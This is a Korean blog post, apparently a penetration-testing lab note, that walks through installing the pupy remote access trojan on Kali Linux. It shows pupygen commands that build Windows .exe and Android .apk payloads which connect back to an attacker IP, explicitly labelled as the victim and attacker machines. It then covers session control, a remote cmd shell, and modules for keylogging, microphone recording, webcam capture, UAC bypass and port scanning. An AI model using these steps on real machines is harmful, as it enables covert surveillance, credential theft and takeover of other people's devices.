'보안 & 모의해킹/일반'에 해당되는 글 1건

  1. 2017.06.09 PUPY 설치 및 간략한 사용 가이드

* PUPY 설치 및 간략한 사용 가이드 *

 

[네트워크 연결 필요함]

OS : Kali Linux

VM : Virtual Box


RAT( Remote Access Trojan or Remote Administration Tool) 도구 pupy 설치 및 사용방법


> git clone https://github.com/n1nj4sec/pupy.git

> git submodule init

> git submodule update

 

cd ~/pupy/pupy 안에 파이썬 모듈이 들어있는 파일(requirements.txt) 가 있음

이 파일을

> pip install -r requirements.txt

로 한번에 설치해주기


* 사용 명령어(.exe 파일 만들기)

cd ~/pupy/pupy 안에 pupygen.py 있음

 

./pupygen.py -O (피해자컴퓨터 OS) -A (피해자컴퓨터 아키텍쳐) -o (실행파일 이름.확장자) connect --host (공격자컴퓨터 IP) --transport ssl

 

예시) ./pupygen.py -O windows -A x64 -o ips.exe connect --host 192.168.0.17 --transport ssl
예시 - 안드로이드) ./pupygen.py -O android -o nd.apk connect --host 192.168.0.17 --transport ssl
------------------------------------------------------------------------------------------------------------------------------------

>>> sessions -l

으로 연결된 기기 확인. 그러면 연결된 기기가 쭉 나열됨.

거기서 연결하고 싶은 기기의 id 확인.

>>> sessions -i (연결기기 id)

결과) [+] default filter set to (id) -> (연결되었다는 의미)
------------------------------------------------------------------------------------------------------------------------------------
>>> info
입력시 세션(연결된 기기)의 자세한 정보가 출력.
------------------------------------------------------------------------------------------------------------------------------------
>>> shell
입력시 해당 windows의 cmd 창처럼 사용가능함.(ipconfig, taskmgr 등 cmd에서처럼 사용가능.)

칼리 리눅스는 한글(949)을 지원 안하기 때문에, cmd 창의 언어를 바꿔줄 필요가 있다.
-> chcp 437(영어:437,한글:949)

 

cmd 종료 : exit 입력

 

*유용한 cmd 명령어*
1. systeminfo : 호스트,OS버전,OS설치날짜,CPU정보,메모리,물리적메모리와가상메모리,핫픽스정보,랜카드정보,IP정보 출력
2. msconfig(시스템구성) : 일반,부팅,서비스,시작프로그램,도구 등 OS부팅에 관한 중요한사항을 조정할 수 있는 시스템구성
3. regedit(레지스트리 편집기) : 레지스트리를 편집할 수 있는 프로그램
4. dxdiag : direct x 진단도구, 그래픽과 사운드의 세부정보를 보여주는 것
5. ipconfig : 랜카드정보와 IP정보를 보여주는 명령어
6. taskmgr : Windows 작업관리자, 응용프로그램,프로세스,서비스,성능,네트워킹,사용자의 정보를 보여줌
7. gpedit.msc(로컬그룹정책편집기) : 여기서 "로컬 컴퓨터 정책" - "관리 템플릿" 을 클릭해서 바탕화면,작업표시줄 및 시작메뉴,제어판,시스템 등 사용자가 직접 기능을 제어할 수 있음.
8. compmgmt.msc(컴퓨터관리:computer management) : 작업스케쥴러,이벤트뷰어,장치관리자,디스크관리,서비스항목 등 여러가지 시스템을 컨트롤하는 명령어
9. diskmgmt(디스크관리:disk management) : 시스템의 HDD 정보와 파티션정보를 보여주고 조정하는 시스템유틸
10. devmgmt.msc(장치관리자:device management) : 컴퓨터의 장치드라이버를 보여주는 명령어
11. lusrmgr.msc(로컬사용자그룹:local user manager) : 내 컴퓨터에 로그인 사용자나 네트워크 그룹을 알 수 있는 유틸리티
12. servics.msc(서비스) : 윈도우서비스항목을 컨트롤하는 유틸, 운영체제 로딩을 빠르게하기 위해 불필요한 서비스항목을 disable 하는데 많이 사용함.
------------------------------------------------------------------------------------------------------------------------------------


!주의
./pupysh.py 로 실행하는 pupy shell 을 >> exit 로 종료하는 것이 아닌 Ctrl + Z 로 강제종료할 시 터미널을 껐다가 켜야 정상 재작동됨.

------------------------------------------------------------------------------------------------------------------------------------

[간략한 모듈 설명] (자세한건 -h 옵션 사용하세요!) 

 >> run admin/dns

 대상의 IP Address 필요

 IP, Host name 나열

 >> run admin/getpid

 X

 pupy 로 만든 exe 파일 processor PID 와 Name 나열

 >> run network/port_scan

 대상의 IP Address 필요

 해당 IP에 열려있는 포트 알려줌, -p (PORTS) 로

특정 포트의 open/close 여부 확인가능

 >> run privesc/bypassuac

 X

 ?? 이건 무슨기능일까

 >> run gather/keylogger

 {start | stop | dump}

 start 입력: 키보드 입력저장, dump 입력: terminal에

출력, stop 입력: 키보드 입력저장 중지(한글인식 X)

 >> run gather/record_mic

 X

 -t (시간) 으로 녹음시간 저장가능,

 -v 옵션은 녹음파일 바로실행.

 >> run gather/webcamsnap

 X

 노트북에 달린 웹캠으로 사진 바로찍음

 >> run manage/lock_screen

 X

 강제로 로그오프 시킴.

 

Posted by NDC :